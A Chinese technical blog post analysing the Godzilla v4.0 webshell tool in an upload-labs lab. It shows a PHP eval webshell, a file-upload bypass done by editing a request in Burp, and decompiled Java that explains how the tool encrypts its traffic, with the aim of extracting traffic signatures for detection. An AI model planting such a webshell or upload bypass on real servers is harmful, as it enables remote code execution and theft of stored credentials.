攻击工具分析丨哥斯拉v4.0流量解密及特征流量提取

哥斯拉软件安装及使用

介绍

哥斯拉是一款webshell权限管理工具,由java语言开发。它的特点有:全部类型的shell能绕过市面大部分的静态查杀、流量加密能绕过过市面绝大部分的流量Waf、Godzilla自带的插件是冰蝎、蚁剑不能比拟的。它能实现的功能除了传统的命令执行、文件管理、数据库管理之外,根据shell类型的不同还包括了:MSF联动、绕过OpenBasedir、ZIP压缩、ZIP解压、代码执行、绕过
DisableFunctions、Mimikatz、读取服务器 FileZilla Navicat Sqlyog Winscp XMangager
的配置信息以及密码、虚拟终端 可以用netcat连接 、Windows权限提升 (2012-2019烂土豆)、读取服务器 谷歌 IE 火狐
浏览器保存的账号密码、Windows权限提升烂土豆的C#版本 甜土豆、支持 哥斯拉 冰蝎 菜刀 ReGeorg 的内存shell
并且支持卸载、屏幕截图、Servlet管理 Servlet卸载、内存加载Jar 将Jar加载到 SystemClassLoader。

4.0相对以前的版本,增加了C#, PHP, ASP类型的eval
payload,加密流程也进行了升级。提供了更多的加密器。界面也更简洁好看,功能全面好用。

安装

项目地址:https://github.com/BeichenDream/Godzilla/releases

下载.jar 文件。

运行

java -jar godzilla.jar

靶场攻击

php搭建的网站和jsp搭建网站:
apache 服务器一般使用PHP搭建。tomcat 服务器一般使用jsp搭建。

木马是要在服务器上自动执行,执行脚本,所以木马格式要与服务器的语言保持一致。比如php的网站,要用php的木马。

访问网站index.php,可以看出是php网站,生成php的马

使用upload 的靶场

docker search upload-labs
docker image pull c0ny1/upload-labs
docker run -d -p 80:8080 c0ny1/upload-labs

使用哥斯拉生成一个木马

后续的实验,都会以该木马为例子。会分析PHP_EVAL_XOR_BASE64的加密方式

将哥斯拉生成的木马上传到靶场

挑一个靶场环境,比如第一个。burp拦截,改包,改成.php再发送。

将生成的木马shell.php 成功上传到目标主机。

哥斯拉连接

目标地址:http://ip:8080/upload/shell.php

反编译获得软件源码

JD-GUI 反编译下载工具

https://jd-gui.apponic.com/mac/

M1 系统报错:

右键JD-GUI,显示包内容

进入Contents/MacOS文件夹,打开universalJavaApplicationStub.sh文件,使用新版的文件替换,新版文件内容可以在如下地址复制

https://raw.githubusercontent.com/tofi86/universalJavaApplicationStub/master/src/universalJavaApplicationStub

双击打开软件,将需要反编译的jar包拖到软件界面中

选中全部文件,点击File-Save All Sources保存反编译完的源码,选择保存路径

哥斯拉加密分析

全套的攻击流程

  1. 在客户端生成shell,生成shell的时候可以设置参数,包括: 密码、密钥、有效载荷、加密器
    * 密码:Post请求中的参数名称(本次实验的密码为passwd),以及用于和密钥一起进行加密运算。
    * 密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其 16 用于加密过程(本次实验的密钥为keymd,md5值为:083c7c062cb29c75499967759dcd2423)
    * 有效载荷分为ASP、java、php、c#四种类型的payload
    * 加密器分为base64和raw、evalbase64三大类。
    * 扰乱数据:用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征。
    *

  2. 生成php(文件名可自定义,根据选择的有效载荷不同,可以有jsp、php、aspx等文件格式),该shell.php需要上传到攻击的目标主机上。
    * 这个文件,会出现在数据包的POST请求中。
    * 该文件会将密码、密钥的md5值前16位明文写入。
    * 该文件的实现功能还有:将密码和密钥进行拼接,然后进行md5的计算。一共32位。服务器端返回数据的时候,会进行拼接。即服务器端返回数据 = md5前16位+加密数据+md5后16位。(加密数据可以通过对服务器端的解密算法进行解密)

  3. 哥斯拉客户端进行连接
    * URL是目标主机上的php
    * 请求配置的参数,可以添加冗余数据,该冗余数据会在数据的正式内容的前后添加进去。

  4. 连接成功后,进入shell便可以进行操作。

生成的shell

以PHP_EVAL_XOR_BASE64的加密方式为例。生成的木马shell.php内容为

<?php eval($_POST["passwd"]); 它的工作原理是,存在一个变量“passwd”,“passwd”的取值为http的post方式。web服务器对“passwd“取值后,然后通过eval()函数执行“passwd”里面的内容。比如说,将该shell.php的文件传入站点,以POST方式传入passwd=phpinfo();。则页面会显示phpinfo的信息。 该变量“passwd”,是最开始生成shell,自己设置的密码。 ## 抓包分析-查看“测试连接”操作会产生的数据包 ### 设置代理,用burpsuite拦截,查看产生的数据包![](https://img-blog.csdnimg.cn/img_convert/4988ba45641312d5a3e0f78d8619bc8b.jpeg) 会产生三个数据包。并且会设置PHPSESSID。 ![](https://img-blog.csdnimg.cn/img_convert/f930fd918560b42fb72ac0151fe63a0d.jpeg) 从数据包中可以发现。request中发送的数据包,是passwd=xxxx 的形式。根据生成木马shell.php中的内容可知。web服务器对“passwd“取值后,然后通过eval()函数执行“passwd”里面的内容。即实际操作内容是passwd后面一大串加密过的字符。 ### 对第一个数据包进行分析追溯 连接时,功能代码部分在core/shell/ShellEntity.java 找到initShellOpertion()函数 ![](https://img-blog.csdnimg.cn/img_convert/b4452a393461cee15fdd8201b24fdf87.jpeg) 该方法首先初始化一个Http对象赋值给ShellEntity对象的http成员变量(每个ShellEntity对象都有自己的http成员变量, 用于各ShellEntity的Http请求), 然后初始化payloadModel 和 cryptionModel 对象。 运行的时候,会调用init方法进行初始化。以及调用了test函数,对状态进行了判断。所以进一步分析这两个函数。 因为代码是反编译过来的,所以不能直接用ctrl定位到方法的定义,需要手动去找。 **init** **方法** (路径shells/cryptions/phpXor/PhpEvalXor.java ![](https://img-blog.csdnimg.cn/img_convert/ee84b982d0bbbf3d5a0fb8700fc9c6ff.jpeg) init中的变量ShellEntity shellContext,为连接信息。this.shell = context;将webshell配置界面修改的内容同步到shellContext对象上。 /* */ public ShellEntity(boolean useCache) { /* 55 */ this.url = ""; /* 56 */ this.password = ""; /* 57 */ this.secretKey = ""; /* 58 */ this.payload = ""; /* 59 */ this.cryption = ""; /* 60 */ this.remark = ""; /* 61 */ this.encoding = ""; /* 62 */ this.headers = new HashMap<>(); /* 63 */ this.reqLeft = ""; /* 64 */ this.reqRight = ""; /* 65 */ this.connTimeout = 60000; /* 66 */ this.readTimeout = 60000; /* 67 */ this.proxyType = ""; /* 68 */ this.proxyHost = ""; /* 69 */ this.proxyPort = 8888; /* 70 */ this.id = ""; /* 71 */ this.useCache = useCache; /* */ } this.http = this.shell.getHttp(); 其中getHttp()函数获取到传入该方法的ShellEntity对象的http成员变量。 getHttp()函数(路径core/shell/ShellEntity.java /* */ public Http getHttp() { /* 120 */ return this.http; /* */ } this.key 这一行,是逐字节的获取密钥key。 this.pass 这一行,是逐字节的获取密码password。 String findStrMd5 这一行,是将密钥key和password加起来,已经进行md5的计算。 this.findStrLeft 这一行,是获取md5的前16位(生成的md5一共有32位) this.findStrRight 这一行,是获取md5的后16位(生成的md5一共有32位) this.evalContent 这一行,是进行了一套编码过程。经过了base64和url的编码处理和密钥的处理。 需要传入密钥、密钥md5的前16位,然后再放入eval函数中"<?php" /* */ public String generateEvalContent() { /* 112 */ String eval = (new String(Generate.GenerateShellLoder(this.shell.getSecretKey(), functions.md5(this.shell.getSecretKey()).substring(0, 16), false))).replace("<?php", ""); /* 113 */ eval = functions.base64EncodeToString(eval.getBytes()); /* 114 */ eval = (new StringBuffer(eval)).reverse().toString(); /* 115 */ eval = String.format("eval(base64_decode(strrev(urldecode('%s'))));", new Object[] { URLEncoder.encode(eval) }); /* 116 */ eval = URLEncoder.encode(eval); /* 117 */ return eval; /* */ } 获取到http成员变量后, 因为该http成员变量有ShellEntity对象的相关信息, 包括连接url、代理、password、secretKey等内容, 即保存有对应的webshell配置信息, 因此可以直接对相关的webshell发起请求。通过this.http.sendHttpResponse(this.payload);发送了请求。 也就是第一个数据包。 ### 对2、3数据包进行追溯(2、3数据包内容一样) **test** **方法** 。test()函数 是一个布尔型的。测试成功后,会返回true。if函数顺利运行,连接成功。 /* */ public boolean test() { /* 222 */ ReqParameter parameter = new ReqParameter(); /* 223 */ byte[] result = evalFunc(null, "test", parameter); /* 224 */ String codeString = new String(result); /* 225 */ if (codeString.trim().equals("ok")) { /* 226 */ this.isAlive = true; /* 227 */ return true; /* */ } /* 229 */ Log.error(codeString); /* 230 */ return false; /* */ } trim() 函数移除字符串两侧的空白字符或其他预定义字符。 test()的执行过程为:调用了evalFunc函数。该函数将数据POST给服务器,并获得服务器的响应。 byte[] result = evalFunc(null, "test", parameter); // 获得服务器的响应 将服务器的返回结果格式修改后,与ok对比,判断为ok则连接成功。 String codeString = new String(result); if (codeString.trim().equals("ok")) { // 对字符串进行格式修改,使之没有空格。服务器返回ok的话,则连接成功 return true; } 说明在evalFunc函数执行过程中,已经得到了明文的服务器返回数据,因此服务器返回报文的解密过程肯定是在evalFunc函数中。 查看evalFunc 函数(路径shells/payloads/php/PhpShell.java),通过this.http.sendHttpResponse(data).getResult();发送了请求数据包,也就是第2、3个数据包。 /* */ public byte[] evalFunc(String className, String funcName, ReqParameter parameter) { /* 100 */ fillParameter(className, funcName, parameter); /* 101 */ byte[] data = parameter.formatEx(); /* 102 */ if (this.gzipDecodeMagic == 1) { /* 103 */ data = functions.gzipE(data); /* */ } /* */ /* 106 */ byte[] result = this.http.sendHttpResponse(data).getResult(); /* 107 */ if ((this.gzipEncodeMagic == -1 || this.gzipEncodeMagic == 1) && functions.isGzipStream(result)) { /* 108 */ result = functions.gzipD(result); /* */ } /* 110 */ return result; /* */ } /* */ ### 对sendHttpResponse相关的数据包请求方法进行分析 代码路径:util/http/Http.java /* */ public HttpResponse sendHttpResponse(Map
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
哥斯拉工具通讯流量(jsp_raw)是哥斯拉(Gozilla)安全工具的一种用于网络通信的流量类型。哥斯拉是一款用于网络安全测试和评估的开源工具,其目的是帮助系统管理员评估网络安全性,发现网络中的漏洞和风险。 在网络安全测试中,通常需要模拟恶意攻击者的行为,以测试系统的抵御能力。哥斯拉工具则提供了各种类型的网络流量,其中包括了jsp_raw流量类型。 jsp_raw是一种特定的网络通信流量,用于测试JSP(Java Server Pages)应用程序的安全性。JSP是一种动态网页技术,它使用Java代码嵌入在HTML中,可用于生成动态内容。然而,由于JSP可执行Java代码,系统可能面临各种安全风险,例如远程命令执行、代码注入、会话劫持等。 通过使用哥斯拉工具中的jsp_raw流量类型,系统管理员可以模拟恶意攻击者对JSP应用程序发起的各种攻击,以测试其安全性和鲁棒性。该流量类型可能包含了常见的攻击负载和恶意代码,例如尝试执行系统命令的代码、试图绕过输入验证的代码等。通过模拟这些攻击行为,系统管理员可以及时发现和修复潜在的漏洞,提高系统的安全性。 总之,哥斯拉工具的通讯流量类型之一,jsp_raw,用于模拟恶意攻击者对JSP应用程序的攻击,以评估其安全性和发现潜在的漏洞。它是网络安全测试中的重要工具,有助于保护系统免受潜在的安全威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值